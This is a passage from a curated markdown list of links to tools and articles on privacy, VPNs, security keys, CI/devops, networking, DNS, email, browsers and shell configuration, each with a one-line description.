- [CAA Mandated by CA/Browser Forum](https://blog.qualys.com/ssllabs/2017/03/13/caa-mandated-by-cabrowser-forum)
- [dotdotslash](https://github.com/jcesarstef/dotdotslash): An tool to help you search for Directory Traversal Vulnerabilities
- [ENVOY](https://www.envoyproxy.io/) is an open source edge and service proxy, designed for cloud-native applications. [code](https://github.com/envoyproxy/envoy)
- [ghp](https://github.com/CurtisLusmore/ghp): A simple web server for serving static GitHub Pages locally
- [LEAR](https://github.com/Glorf/lear): Linux Engine for Asset Retrieval
- [NFHTTP](https://github.com/spotify/NFHTTP): A cross platform C++ HTTP library that interfaces natively to other platforms.
- [Security/Server Side TLS](https://wiki.mozilla.org/Security/Server_Side_TLS) by Mozilla
- [security.txt](https://securitytxt.org/): A proposed standard which allows websites to define security policies.
- [urlscan.io](https://urlscan.io/): A sandbox for the web
- [Opting your Website out of Google's FLoC Network](https://paramdeo.com/blog/opting-your-website-out-of-googles-floc-network)
### Proxy
- [Tolouse denylist of domains](https://dsi.ut-capitole.fr/blacklists/index_en.php): Be careful : this list should not be seen as a "to be block". It must be seen as a "web categorization" : some categories can be blocked or allowed, depending on your environnement..
#### Tokens
- [Use YubiKey security key to sign into AWS Management Console with YubiKey for multi-factor authentication](https://aws.amazon.com/pt/blogs/security/use-yubikey-security-key-sign-into-aws-management-console/)
- [Introducing the Qubes U2F Proxy](https://www.qubes-os.org/news/2018/09/11/qubes-u2f-proxy/)
- [YubiKey-Guide](https://github.com/drduh/YubiKey-Guide): Guide to using YubiKey for GPG and SSH
- [Using a Yubikey for GPG and SSH](https://0day.work/using-a-yubikey-for-gpg-and-ssh/): Sebastian Neef - 0day.work
- [PIN and Management Key](https://developers.yubico.com/yubikey-piv-manager/PIN_and_Management_Key.html)
- [Improve login security with challenge-response authentication](https://fedoramagazine.org/login-challenge-response-authentication/)
- [URU Card](https://en.ovcharov.me/2020/06/29/uru-card-arduino-fido2-authenticator/): Arduino FIDO2 Authenticator. [uru-card](https://github.com/uru-card/uru-card)
- [YubiKey at Datadog](https://github.com/DataDog/yubikey)
- [This is a practical guide to using YubiKey as a SmartCard for storing GPG encryption and signing keys.](https://github.com/drduh/YubiKey-Guide)
- [yubikey-ssh-setup](https://github.com/jessfraz/dotfiles/blob/master/bin/yubikey-ssh-setup)
### VPN
- [How I made my own WireGuard VPN server](https://techcrunch.com/2018/07/28/how-i-made-my-own-wireguard-vpn-server/)
- [Secure & Ad-free Internet Anywhere With Streisand and Pi Hole](https://ifelse.io/2019/01/12/secure-ad-free-internet-anywhere-with-streisand-and-pi-hole/)
- [DSVPN](https://github.com/jedisct1/dsvpn): A Dead Simple VPN.
- [Build a virtual private network with Wireguard](https://fedoramagazine.org/build-a-virtual-private-network-with-wireguard/)
### Privacy
- [Privacy and Anonimity Tools](https://twitter.com/hackermaderas/status/1222179758202662918)
- [pi-hole](https://pi-hole.net/):
- [Public ad-blocking DNS service built on Pi-hole.](https://pi-dns.com/)
- [AdBlocking VPN Proxy Server](https://blog.richardcrosby.co.uk/adblocking-vpn-proxy-server-pi-hole-wireguard-privoxy-unbound/)(Pi-hole, Wireguard, Privoxy, Unbound)
- [Pihole Adlist Tool](https://github.com/yubiuser/pihole_adlist_tool): An tool to analyse how your pihole adlists cover you browsing behavior
- [Internal Domains with DNSMasq and Pi-Hole](https://dev.to/stjohnjohnson/internal-domains-with-dnsmasq-and-pi-hole-4cof) [files](https://gist.github.com/stjohnjohnson/d441e26e4d77a975fd3ebb4e6f19e3d6)
- [Bootable and Encrypted Whonix VM on 8GB USB Stick](https://torforum.org/newbies/tutorial-bootable-and-encrypted-whonix-vm-on-8gb-usb-stick.htm)
- [DNSCrypt-Proxy + Unbound + OpenVPN](https://mydarkerego.blogspot.com/2015/03/dnscrypt-proxy-unbound-openvpn.html)
- [Tails OS](https://prefuse.org/tails-os) – An Actionable Guide for Regular Folks
- [How to secure your computer and surf fully Anonymous BLACK-HAT STYLE](https://archive.cyberguerrilla.org/a/2011/?p=3322)
- [noisy](https://github.com/1tayH/noisy): Simple random DNS, HTTP/S internet traffic noise generator
- [Flood Your ISP with Random, Noisy Data to Protect Your Privacy on the Internet](https://null-byte.wonderhowto.com/how-to/flood-your-isp-with-random-noisy-data-protect-your-privacy-internet-0186193/)
- [Randomization and encryption of DNS requests](https://www.monperrus.net/martin/randomization-encryption-dns-requests)
- [NSABlocklist](https://github.com/CHEF-KOCH/NSABlocklist): HOSTS file and research project to block all known NSA / GCHQ / C.I.A. / F.B.I. spying server
- [Anonymising your traffic with linux](https://gendersec.tacticaltech.org/wiki/index.php/Anonymising_your_traffic_with_linux)
- [EndWare](https://github.com/endwall2/endware): is a collection of scripts and configuration files geared towards promoting computer security, anonymity, and privacy. These tools will grow overtime.
- [The ultimative collection of Free and Open Source Android apps](https://github.com/CHEF-KOCH/Android-Privacy-Data-Protection-Tools-Mega-Thread):
- [Host your own .onion site using nginx and Tor](https://chown.io/guide-host-your-own-onion-site-tor-nginx/)
- [Ultra low budget wifi crypt router](https://geebee.org/blog?req=1&post_id=NzM=)
- [Lamphone](https://www.nassiben.com/lamphone): Real-Time Passive Sound Recovery from Light Bulb Vibrations
- [How to setup NordVPN on the Raspberry Pi](https://pimylifeup.com/raspberry-pi-nordvpn/)
- [Improving user privacy and developer experience with User-Agent Client Hints](https://web.dev/user-agent-client-hints/)
- [For decades our tools have failed to combat bulk metadata surveillance, it's time to push forward and support radical privacy initiatives.](https://twitter.com/SarahJamieLewis/status/1384161740598824976)
- [Console Do Not Track (DNT)](https://consoledonottrack.com/): A proposed unified standard for opting out of telemetry for TUI/console apps.
- [One Bad Apple](https://www.hackerfactor.com/blog/index.php?/archives/929-One-Bad-Apple.html)
- ["You have zero privacy anyway, get over it."](https://anchisesbr.blogspot.com/2021/08/seguranca-o-fim-da-privacidade-em-1999.html)
- [GlobaLeaks](https://github.com/globaleaks/GlobaLeaks) is free, open source software enabling anyone to easily set up and maintain a secure whistleblowing platform.
- [snowflake](https://snowflake.torproject.org/) is a system to defeat internet censorship.
- [Personal Security Checklist](https://github.com/Lissy93/personal-security-checklist/): 🔒 A curated checklist of 300+ tips for protecting digital security and privacy in 2022
### Messaging
- [Tox](https://tox.chat/): The library provides all of the messaging and encryption facilities, and is completely decoupled from any user-interface; for an end-user to make use of Tox, they need a Tox client. MacOS Clients: [uTox](https://github.com/uTox/uTox/) and [qTox](https://github.com/qTox/qTox/).
- [Build a WhatsApp Chatbot With Python, Flask and Twilio](https://www.twilio.com/blog/build-a-whatsapp-chatbot-with-python-flask-and-twilio) and [Twilio API for WhatsApp Quickstarts](https://www.twilio.com/docs/sms/whatsapp/quickstart)
## Continuous Integration
- [Danger](https://github.com/danger/danger) runs after your CI, automating your team's conventions surrounding code review.
- [The centralized Danger server, freeing Danger from running on CI.](https://github.com/danger/peril)
- [OSS-Fuzz](https://github.com/google/oss-fuzz) - Continuous Fuzzing for Open Source Software
- [Fedora's](http://fedoraproject.org/wiki/CI/Standard_Test_Interface) CI/Standard Test Interface
- [Do continuous deployment with Github and Python](https://fedoramagazine.org/continuous-deployment-github-python/)
- [Terraform](https://www.terraform.io/intro/index.html) ([github repo](https://github.com/hashicorp/terraform))
- [Best way to do linux clones for your CI](https://www.kernel.org/best-way-to-do-linux-clones-for-your-ci.html)
- [Terratest](https://github.com/gruntwork-io/terratest): is a Go library that makes it easier to write automated tests for your infrastructure code.
- [Creating a Faster Jekyll](https://sigpipe.macromates.com/2018/creating-a-faster-jekyll/)
- [Vespene](https://github.com/vespene-io/vespene): A modern continuous integration, deployment, and self-service automation platform
- [pytest-picked](https://github.com/anapaulagomes/pytest-picked): Run the tests related to the changed files (according to Git).
- [Quality Checking Infrastructure-as-Code](https://theithollow.com/2018/11/05/quality-checking-infrastructure-as-code/)
- [PyUP](https://pyup.io/): Automated Python Security and Dependency Updates. [github](https://github.com/pyupio/pyup)
- [Circle CI](https://circleci.com/)
- [Overalls](https://coveralls.io/): We help you deliver code confidently by showing which parts of your code aren’t covered by your test suite.
- [opsmop](https://opsmop.io/): next-gen automation. [github](https://github.com/opsmop/opsmop)
- [Canary analysis](https://cloud.google.com/blog/products/devops-sre/canary-analysis-lessons-learned-and-best-practices-from-google-and-waze): Lessons learned and best practices from Google and Waze
- [Spinnaker](https://github.com/spinnaker/spinnaker): is an open source, multi-cloud continuous delivery platform for releasing software changes with high velocity and confidence.
- [Actions](https://github.com/maddox/actions): A collection of useful GitHub Actions.
- [When the going gets tough](https://lambdasec.github.io/When-the-going-gets-tough-Understanding-the-challenges-with-Product-commoditization-in-SCA/): Understanding the challenges with Product commoditization in SCA
- [Examples and customization tricks](https://docs.pytest.org/en/latest/example/index.html)
- [An introduction to deterministic builds with C/C++](https://blog.conan.io/2019/09/02/Deterministic-builds-with-C-C++.html)
- [bazel](https://bazel.build): Build and test software of any size, quickly and reliably. [Bazel is a fast, scalable, multi-language and extensible build system](https://github.com/bazelbuild/bazel)
- [k6](https://github.com/loadimpact/k6): A modern load testing tool, using Go and JavaScript
- [Open Source Insights](https://deps.dev/): Open Source Insights is an experimental service developed and hosted by [Google](https://opensource.googleblog.com/2021/06/introducing-open-source-insights-project.html) to help developers better understand the structure, construction, and security of open source software packages.
- [Repositories Reports](https://github.com/GuillaumeFalourd/repositories-reports): Repository with weekly insights reports for personal repositories using Github Actions and Ritchie CLI.
- [Spacelift](https://spacelift.io/): Flexible management platform for Infrastructure as Code
### Jenkins
- [Jenkinsfile](https://github.com/vivitc/learning-jenkinsfile) example by [vivitc](https://github.com/vivitc/)
- [Pythran as a bridge between fast prototyping and code deployment](http://serge-sans-paille.github.io/pythran-stories/pythran-as-a-bridge-between-fast-prototyping-and-code-deployment.html)
- [Adding a GitHub Webhook in Your Jenkins Pipeline](https://dzone.com/articles/adding-a-github-webhook-in-your-jenkins-pipeline)
- [Troubleshooting GitHub WebHooks SSL Verification](http://steve-jansen.github.io/blog/2014/12/03/troubleshooting-github-webhooks-ssl-verification/)
- [github - misconfigured SSL using webhooks](https://stackoverflow.com/questions/44337920/misconfigured-ssl-using-webhooks)
- [GitHub Plugin - Jenkins](https://wiki.jenkins.io/display/JENKINS/Github+Plugin)
- [Trigger Jenkins builds by pushing to Github](https://www.fourkitchens.com/blog/article/trigger-jenkins-builds-pushing-github/)
- [Add Users to Jenkins with "Allow users to sign up" Disabled](https://stackoverflow.com/questions/12056851/add-users-to-jenkins-with-allow-users-to-sign-up-disabled)
- [Easy Jenkins with a System Container](https://blog.nestybox.com/2019/09/29/jenkins.html)
## Devops
- [Guiding Principles for Developer Tools](https://philcalcado.com/2019/07/30/developer_tools_principles.html)
- [How to do a code review](https://google.github.io/eng-practices/review/reviewer/)
- [GLab](https://github.com/profclems/glab) is an open source Gitlab Cli tool written in Go (golang) to help work seamlessly with Gitlab from the command line.
- [DevOps Awesome Tools](https://github.com/patricktalmeida/devops-awesome-tools)
- [Team-Handbook-Template](https://github.com/ghostinthewires/Team-Handbook-Template): An employee / team handbook template
- [Custom Gitlab CICD using Auto DevOps template + Add Cloud Build in GCP](https://medium.com/faun/custom-gitlab-cicd-using-auto-devops-template-add-cloud-build-in-gcp-bebb204b87f)
- [devops-101-workshop](https://github.com/katcosgrove/devops-101-workshop): Serves as documentation, starter code, and companion guide for a DevOps 101 workshop using the JFrog platform.
- [DevOps, SRE, and Platform Engineering](https://iximiuz.com/en/posts/devops-sre-and-platform-engineering/)
- Servless:
- [faas-cli](https://github.com/openfaas/faas-cli): Official CLI for OpenFaaS.
- [The I&O Leader’s Guide to Chaos Engineering](https://www.gartner.com/smarterwithgartner/the-io-leaders-guide-to-chaos-engineering)
- [DevOps Roadmap](https://roadmap.sh/devops): Step by step guide for DevOps, SRE or any other Operations Role in 2022.
- [How to Become a DevOps Engineer in Six Months](https://spacelift.io/blog/how-to-become-devops-engineer)
## Interfaces
- [A sysadmin login session in a web browser](https://github.com/cockpit-project/cockpit)
- [tinywm](http://incise.org/tinywm.html): The tiniest window manager. [github](https://github.com/mackstann/tinywm)
- [nextspace](https://github.com/trunkmaster/nextspace): NeXTSTEP-like desktop environment for Linux
- [Term VM](https://gitlab.com/jD91mZM2/termwm): A floating WM of terminals inside your terminal
## Troubleshooting
- [sysdig](https://github.com/draios/sysdig): Linux system exploration and troubleshooting tool with first class support for containers
- [rbspy](https://rbspy.github.io/): Have a running Ruby program that you want to profile without restarting it? Want to profile a Ruby command line program really easily? You want rbspy! rbspy can profile any Ruby program by running 1 command.
- [drltrace](https://github.com/mxmssh/drltrace): Drltrace is a library calls tracer for Windows and Linux applications.
### Logs
- [Sigma](https://github.com/Neo23x0/sigma): Generic Signature Format for SIEM Systems
- [fluent-bit](https://github.com/fluent/fluent-bit): Fast and Lightweight Log processor and forwarder for Linux, BSD and OSX
- [GoAccess - Visual Web Log Analyzer](https://goaccess.io/)
- [Slagg](https://github.com/drrzmr/slagg) - Simple Log Aggregator
- [The Log File Navigator](https://lnav.org/downloads/) ([github](https://github.com/tstack/lnav))
- [Logging best practices to get the most out of application level logging](https://geshan.com.np/blog/2019/03/follow-these-logging-best-practices-to-get-the-most-out-of-application-level-logging-slides/)
- [honeyd-syslogger.sh](https://gist.github.com/lopes/81b90d86b30e2730df241c90cc323837): Parses honeyd logfiles to syslog and sends them to a SIEM.
### Benchmarks
- [test-profiles](https://github.com/phoronix-test-suite/test-profiles): A read-only Git copy of the OpenBenchmarking.org test profiles.
- [hardware-effects](https://github.com/Kobzol/hardware-effects): Demonstration of various hardware effects.
- [PrIM](https://github.com/CMU-SAFARI/prim-benchmarks)(Processing-In-Memory Benchmarks) is the first benchmark suite for a real-world processing-in-memory (PIM) architecture. PrIM is developed to evaluate, analyze, and characterize the first publicly-available real-world PIM architecture, the UPMEM PIM architecture. Described by Gómez-Luna et al. [preliminary version](https://arxiv.org/abs/2105.03814)
## Services
- [How to write LDAP search filters](https://confluence.atlassian.com/kb/how-to-write-ldap-search-filters-792496933.html)
- [LDAP Synchronization Connector](https://github.com/lsc-project/lsc)
- [LDAP Plugin Documentation](http://mutonufoai.github.io/pgina/documentation/plugins/ldap.html)
- [ADtoLDAP](https://github.com/nohupped/ADtoLDAP): A light weight Active Directory to OpenLDAP, or OpenLDAP to OpenLDAP Synchronization Connector written in Golang.
## Network
- [TCP Tracepoints](http://www.brendangregg.com/blog/2018-03-22/tcp-tracepoints.html)
- [BCC](https://github.com/iovisor/bcc): Tools for BPF-based Linux IO analysis, networking, monitoring, and more
- [dhcpcd](https://roy.marples.name/git/dhcpcd.git/)
- [concurrency-limits](https://github.com/Netflix/concurrency-limits): Java Library that implements and integrates concepts from TCP congestion control to auto-detect concurrency limits to achieve optimal throughput with optimal latency [ [article](https://medium.com/@NetflixTechBlog/performance-under-load-3e6fa9a60581) ].
- [Debugging HTTPS](http://vafer.org/blog/20080221152526/)
- Some [tcpdump](https://security.stackexchange.com/questions/65178/tcpdump-filter-expression-post-packets) examples.
- [Building my ideal router for $50]( https://blog.tjll.net/building-my-perfect-router/)
- [Detecting the use of "curl | bash" server side | Application Security](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)
- [Scapy](https://github.com/secdev/scapy/): the Python-based interactive packet manipulation program & library. Supports Python 2 & Python 3.
- [Ping test in a shell script](http://jeromejaglale.com/doc/unix/shell_scripts/ping)
- [OpenBGPD](https://labs.ripe.net/Members/claudio_jeker/openbgpd-adding-diversity-to-route-server-landscape): Adding Diversity to the Route Server Landscape
- [netbox](https://github.com/digitalocean/netbox): IP address management (IPAM) and data center infrastructure management (DCIM) tool.
- [NETWORK PROTOCOLS](https://www.destroyallsoftware.com/compendium/network-protocols?share_key=97d3ba4c24d21147): for anyone who knows a programming language.
- [My complete OpenWrt Setup Guide](http://www.jauu.net/2015/03/03/complete-openwrt-guide/)
- [bnet](https://github.com/bkaradzic/bnet): Message oriented networking library using TCP transport.
- [openrsync](https://github.com/kristapsdz/openrsync): clean-room BSD-licensed implementation of rsync. [imported into the tree](https://undeadly.org/cgi?action=article;sid=20190211081518)
- [Using the NetworkManager’s DNSMasq plugin](https://fedoramagazine.org/using-the-networkmanagers-dnsmasq-plugin/).
- [pure JS WiFi QR Code Generator](https://qifi.org/). [github](https://github.com/evgeni/qifi)
- [Operating a Large, Distributed System in a Reliable Way](https://blog.pragmaticengineer.com/operating-a-high-scale-distributed-system/): Practices I Learned
- [Bond WiFi and Ethernet for easier networking mobility](https://fedoramagazine.org/bond-wifi-and-ethernet-for-easier-networking-mobility/)
- [Copying large files with Rsync, and some misconceptions](https://fedoramagazine.org/copying-large-files-with-rsync-and-some-misconceptions/)
- [When TCP sockets refuse to die](https://blog.cloudflare.com/when-tcp-sockets-refuse-to-die/). [Testing TCP Keepalives on Linux](https://github.com/cloudflare/cloudflare-blog/tree/master/2019-09-tcp-keepalives). more on Marek's [blog](https://idea.popcount.org/2019-09-20-when-tcp-sockets-refuse-to-die/)
- [gev](https://github.com/Allenxuxu/gev): is a lightweight, fast non-blocking TCP network library based on Reactor mode.
- [A Practical Guide to BLE Throughput](https://interrupt.memfault.com/blog/ble-throughput-primer)
- The Multipath TCP Daemon [mptcpd](https://github.com/intel/mptcpd)- is a daemon for Linux based operating systems that performs multipath TCP path management related operations in the user space. It interacts with the Linux kernel through a generic netlink connection to track per-connection information (e.g. available remote addresses), available network interfaces, request ne…
- [Reinventing the Network Stack for Compute-Intensive Applications](https://www.darpa.mil/news-events/2019-09-26)
- [Convert curl syntax to Python](https://curl.trillworks.com). [curlconverter](https://github.com/NickCarneiro/curlconverter/)
- [Nethogs](https://github.com/raboof/nethogs): NetHogs is a small 'net top' tool. Instead of breaking the traffic down per protocol or per subnet, like most tools do, it groups bandwidth by process.
- [CORE](https://github.com/coreemu/core): Common Open Research Emulator.
- [The design of lock_sock() in Linux kernel](https://medium.com/@c0ngwang/the-design-of-lock-sock-in-linux-kernel-69c3406e504b)
- [Solarflare](https://www.youtube.com/watch?v=BLnHx6Olbng) - What is Kernel Bypass, And Why Is It An Important Concept?
- [Data Plane Development Kit](https://doc.dpdk.org/guides/prog_guide/overview.html): that consists of libraries to accelerate packet processing workloads running on a wide variety of CPU architectures.
- [Zuul](https://github.com/Netflix/zuul) is a gateway service that provides dynamic routing, monitoring, resiliency, security, and more.
- [the great internet tcp congestion control census](https://datatracker.ietf.org/meeting/109/materials/slides-109-iccrg-the-great-internet-tcp-congestion-control-census-00)
- [gRPC](https://grpc.io/) is a modern open source high performance Remote Procedure Call (RPC) framework that can run in any environment. It can efficiently connect services in and across data centers with pluggable support for load balancing, tracing, health checking and authentication. It is also applicable in last mile of distributed computing to connect devices, mobile applications and browsers to backend services. [Awesome gRPC](https://github.com/grpc-ecosystem/awesome-grpc)
- [grpc-tools](https://github.com/bradleyjkemp/grpc-tools): A suite of gRPC debugging tools. Like Fiddler/Charles but for gRPC.
- [Online Protobuf Decoder.](https://protogen.marcgravell.com/decode)
- [Things we (finally) know about network queues](https://apenwarr.ca/log/20170814)
### Network Troubleshooting
- [10 examples of Linux ss command to monitor network connections](https://www.binarytides.com/linux-ss-command/)
- [Viewing HAProxy Statistics](http://www.networkinghowtos.com/howto/viewing-haproxy-statistics/)
- [List all IP addresses connected to your Server](https://www.mkyong.com/linux/list-all-ip-addresses-connected-to-your-server/)
- [howmanypeoplearearound](https://github.com/schollz/howmanypeoplearearound): Count the number of people around you by monitoring wifi signals
- [SS Utility](https://www.cyberciti.biz/files/ss.html): Quick Intro
- [http toolkit](https://httptoolkit.tech/mock/): Intercept & view all your HTTP(S), Mock endpoints or entire servers, Rewrite, redirect, or inject errors.
- [quiche](https://github.com/cloudflare/quiche): Savoury implementation of the QUIC transport protocol and HTTP/3
- [ripe-atlas-tools](https://github.com/RIPE-NCC/ripe-atlas-tools): Official command-line client for RIPE Atlas.
- [whois](https://github.com/RIPE-NCC/whois): RIPE Database whois code repository.
- [ripe-atlas-cousteau](https://github.com/RIPE-NCC/ripe-atlas-cousteau): Python client for RIPE ATLAS API.
- [sparrow-wifi](https://github.com/ghostop14/sparrow-wifi): Next-Gen GUI-based WiFi and Bluetooth Analyzer for Linux.
- [wavemon](https://github.com/uoaerg/wavemon) is an ncurses-based monitoring application for wireless network devices
- [echoip](https://github.com/mpolden/echoip): IP address lookup service. [ifconfig.co](https://ifconfig.co/)
- [trace-cmd](https://github.com/rostedt/trace-cmd): utilities for Linux ftrace
- [WPAD and DoH don't get along](https://twitter.com/ericlaw/status/1359332415215439877)
### Firewalls
- Some firewall distros/appliances:
- [Endian](https://www.endian.com/): is an open-source router, firewall and gateway security Linux distribution developed by the South Tyrolean company Endian.
- [pfSense](https://www.pfsense.org/): is an open source firewall/router computer software distribution based on FreeBSD.
- [The securityrouter.org project](http://securityrouter.org/): is a network operating system and software distribution based on OpenBSD, with the main differentiator being the single, revision-managed, clear-text configuration file with soft re-configuration (atomic commits) editable from CLI and web interface, and documented security architecture. [changelog](https://github.com/securityrouter/changelog)
### NetServices
- [salmon](https://github.com/moggers87/salmon): Pythonic Mail Application Server forked from the last GPL'd release of Lamson
- [fast-cli](https://github.com/sindresorhus/fast-cli): Test your download speed using fast.com
- [speedtest-linux](https://github.com/rsvp/speedtest-linux): Get download/upload speeds via speedtest.net or fast.com from command line using Bash script -- suitable for logs. POSIX OSX Linux
- [speedtest-cli](https://github.com/sivel/speedtest-cli): Command line interface for testing internet bandwidth using speedtest.net
- [lwan](https://github.com/lpereira/lwan): Experimental, scalable, high performance HTTP server
- [tus resumable upload protocol](https://github.com/tus/tus-resumable-upload-protocol): Open Protocol for Resumable File Uploads
- [websocketd](https://github.com/joewalnes/websocketd): Turn any program that uses STDIN/STDOUT into a WebSocket server. Like inetd, but for WebSockets.
- [How to set up a TFTP server on Fedora](https://fedoramagazine.org/how-to-set-up-a-tftp-server-on-fedora/)
- [OpenSSHd](https://github.com/sektioneins/sshdcc): Security Config Checker
- [Dropbear SSH](https://matt.ucc.asn.au/dropbear/dropbear.html)
- [firewalld.richlanguage](https://firewalld.org/documentation/man-pages/firewalld.richlanguage.html)
- [vector](https://github.com/timberio/vector): [High-performance, vendor-neutral observability pipelines.](https://vector.dev/)
- [khan-dl](https://github.com/rand-net/khan-dl): Download courses from khanacademy.org
#### Email
- [jmap](https://github.com/jmapio/jmap): JSON Meta Application Protocol Specification (JMAP)
- [Cypht](https://github.com/jasonmunro/cypht): Lightweight Open Source webmail written in PHP and JavaScript
- [maildog](https://github.com/edmundhung/maildog): Hosting your own email forwarding service on AWS and manage it with Github Actions.
##### MTA
- [MTA Comparison](http://shearer.org/MTA_Comparison): For a lot of people the choice of the Mail Transfer Agent is important.
- [Announcing notqmail](https://schmonz.com/2019/08/20/announcing-notqmail/). [What is notqmail?](https://github.com/notqmail/notqmail/wiki). [github repo](https://github.com/notqmail/notqmail)
- [The Confused Mailman](https://ezh.es/blog/2020/08/the-confused-mailman-sending-spf-and-dmarc-passing-mail-as-any-gmail-or-g-suite-customer/): Sending SPF and DMARC passing mail as any Gmail or G Suite customer
- [0x4447_product_s3_email](https://github.com/0x4447/0x4447_product_s3_email): mailbox A serverless email server on AWS using S3 and SES.
- [Learn and Test DMARC](https://www.learndmarc.com/): Visualizing the communication between email servers will help you understand what SPF, DKIM, and DMARC do and how these mechanisms work.
### DNS
- [lexicon](https://github.com/AnalogJ/lexicon): Manipulate DNS records on various DNS providers in a standardized way.
- [DNS flag day](https://dnsflagday.net/): The current DNS is unnecessarily slow and suffers from inability to deploy new features. To remediate these problems, vendors of DNS software and also big public DNS providers are going to remove certain workarounds on February 1st, 2019.
- [DNS Servers You Should Have Memorized](https://danielmiessler.com/blog/dns-servers-you-should-have-memorized/): The latest DNS server IPs are easier to remember and offer privacy and filtering functionality
- [BeGoneAds](https://github.com/anned20/begoneads) is a script that puts some popular hosts file lists into the systems hosts file as a adblocker measure.
- [PR-DNSd](https://github.com/korc/PR-DNSd): Passive-Recursive DNS daemon
- [cloudflare-sync](https://github.com/mxplusb/cloudflare-sync): A nice to have, MIT-licensed tool for using Cloudflare as a dynamic DNS provider.
- [The GNU Name System](https://tools.ietf.org/id/draft-schanzen-gns-01.html)
- [Ever wondered what happens when you type in a URL in an address bar in a browser? Here is a brief overview...](https://twitter.com/manekinekko/status/1281704000572858375/photo/1)
- [Understanding DNS—anatomy of a BIND zone file](https://arstechnica.com/gadgets/2020/08/understanding-dns-anatomy-of-a-bind-zone-file/)
- [Duck DNS](https://www.duckdns.org/): free dynamic DNS hosted on AWS
- [Namecoin](https://www.namecoin.org/): is an experimental open-source technology which improves decentralization, security, censorship resistance, privacy, and speed of certain components of the Internet infrastructure such as DNS and identities.
- [Use dnsmasq to provide DNS & DHCP services](https://fedoramagazine.org/dnsmasq-provide-dns-dhcp-services/)
- [dog](https://github.com/ogham/dog): Command-line DNS client
- [Unbound DNS Blacklist](https://vermaden.wordpress.com/2020/11/18/unbound-dns-blacklist/)
- [short dns record ttl and centralization are serious risks for the internet](https://techblog.bozho.net/short-dns-ttl-and-centralization-are-serious-risks-for-the-internet/)
- [The world's shortest domain names](http://www.dirk-loss.de/short-domains.htm)
- DNSLog[](http://www.dnslog.cn/): helping dns troubleshooting with dinamyc subdomains and query logs.
### LoadBalancers
- [glb-director](https://github.com/github/glb-director): GitHub Load Balancer Director and supporting tooling.
- [Introduction to HAProxy ACLs](https://www.haproxy.com/blog/introduction-to-haproxy-acls/): HAProxy Technologies
- [skipper](https://github.com/zalando/skipper): An HTTP router and reverse proxy for service composition, including use cases like Kubernetes Ingress
- [memcached](https://github.com/memcached/memcached/wiki/Extstore): Memcached is a high performance multithreaded event-based key/value cache store intended to be used in a distributed system. Nice discussion about: [Caching beyond RAM: Riding the cliff](https://memcached.org/blog/nvm-multidisk/)
- [Apache Traffic Server™](https://trafficserver.apache.org/) software is a fast, scalable and extensible HTTP/1.1 and HTTP/2 compliant caching proxy server.
### Browsers
- [Firefox about:config privacy settings](https://gist.github.com/0XDE57/fbd302cef7693e62c769)
- [Firefox Privacy](https://wiki.mozilla.org/Privacy/Privacy_Task_Force/firefox_about_config_privacy_tweeks)
- [user.js](https://github.com/pyllyukko/user.js): Firefox configuration hardening. Another: [user.js](https://github.com/arkenfox/user.js): Firefox privacy, security and anti-fingerprinting: a comprehensive user.js template for configuration and hardening.
- [puppeteer-recorder](https://github.com/checkly/puppeteer-recorder): Puppeteer recorder is a Chrome extension that records your browser interactions and generat
- [Learn Puppeteer & Playwright](https://theheadless.dev/): Tips, tricks and in-depth guides from the trenches
- [ungoogled-chromium](https://github.com/Eloston/ungoogled-chromium): Modifications to Google Chromium for removing Google integration and enhancing privacy, control, and transparency
- [Chromium & Netflix (and other DRM video websites)](https://ubuntu-mate.community/t/tutorial-chromium-netflix-and-other-drm-video-websites/7185)
- [DuckDuckGo Browser Extensions](https://github.com/duckduckgo/duckduckgo-privacy-extension): DuckDuckGo Privacy Essentials browser extension for Firefox, Chrome, Safari.
- [Firefox Profilemaker](https://ffprofile.com/)
- [Otter Browser](https://otter-browser.org/): Otter Browser aims to recreate the best aspects of the classic Opera (12.x) UI using Qt5.
- [thor](https://github.com/cisco/thor): Cisco's Thor Video Codec
- [OctoLinker](https://github.com/OctoLinker/OctoLinker): Links together, what belongs together
- [Session History Scrounger for Firefox](https://www.jeffersonscher.com/ffu/scrounger.html): Firefox creates various session history files as you browse, and then at shutdown creates sessionstore.jsonlz4. In Firefox 56+, the files are compressed using Mozilla's flavor of LZ4 compression (.jsonlz4 or .baklz4 file extension). The JSON data contains rich detail about your session, but this page is targeted toward extracting just the page URLs.
- [Improving Firefox stability on Linux](https://hacks.mozilla.org/2021/05/improving-firefox-stability-on-linux/)
- [Your browser and my browser see different colors](https://mux.com/blog/your-browser-and-my-browser-see-different-colors/)
### PCAP
- [scapy-tcp-extractor](https://github.com/deeso/scapy-tcp-extractor): reassemble tcp streams using scapy
- [Analyzing Packet Captures with Python](https://vnetman.github.io/pcap/python/pyshark/scapy/libpcap/2018/10/25/analyzing-packet-captures-with-python-part-1.html)
- [PyPCAPKit](https://github.com/JarryShaw/PyPCAPKit): Python multi-engine PCAP analysis kit.
- [NetworkX](https://networkx.org/) is a Python package for the creation, manipulation, and study of the structure, dynamics, and functions of complex networks. [repo](https://github.com/networkx/networkx)
## Shell
<img src="https://www.cyberciti.biz/files/Linux%20Bash%20Shell%20Poster.jpg" width="100" height="140"/>
- [Linux Shell Poster](https://www.cyberciti.biz/files/Linux%20Bash%20Shell%20Poster.jpg)
- [Software development using Bash](https://oscarforner.com/2018/02/24/Software_development_using_Bash)
- [Ten Things I Wish I’d Known About bash](https://zwischenzugs.com/2018/01/06/ten-things-i-wish-id-known-about-bash/)
- [cheat.sh](https://cheat.sh/) The only cheat sheet you need, Unified access to the best community driven documentation repositories of the world
- [cheatsheets](https://github.com/rstacruz/cheatsheets), and [bash](https://devhints.io/bash.html)
- [bash-oo-framework](https://github.com/niieani/bash-oo-framework): Bash Infinity is a modern boilerplate / framework / standard library for bash
- [sensible bash](https://github.com/mrzool/bash-sensible)
- [How to Jazz Up Your Bash Terminal](https://medium.freecodecamp.org/jazz-up-your-bash-terminal-a-step-by-step-guide-with-pictures-80267554cb22): A Step By Step Guide With Pictures
- Bashrc files:
- [Paul's .bashrc](https://github.com/paulkaefer/.bashrc)
- [rkirti/bashrc](https://github.com/rkirti/bashrc)
- DotFiles:
- Amazing collection by [jessfraz](https://github.com/jessfraz/dotfiles/)
- Some [dotfile](https://github.com/maitesin/dot-files) by maitesin
- [pedrohenriquebr](https://github.com/pedrohenriquebr/dotfiles)
- [chezmoi](https://github.com/twpayne/chezmoi): Manage your dotfiles securely across multiple machines.
- Powerline:
- [Powerline Gitstatus](https://github.com/jaspernbrouwer/powerline-gitstatus)
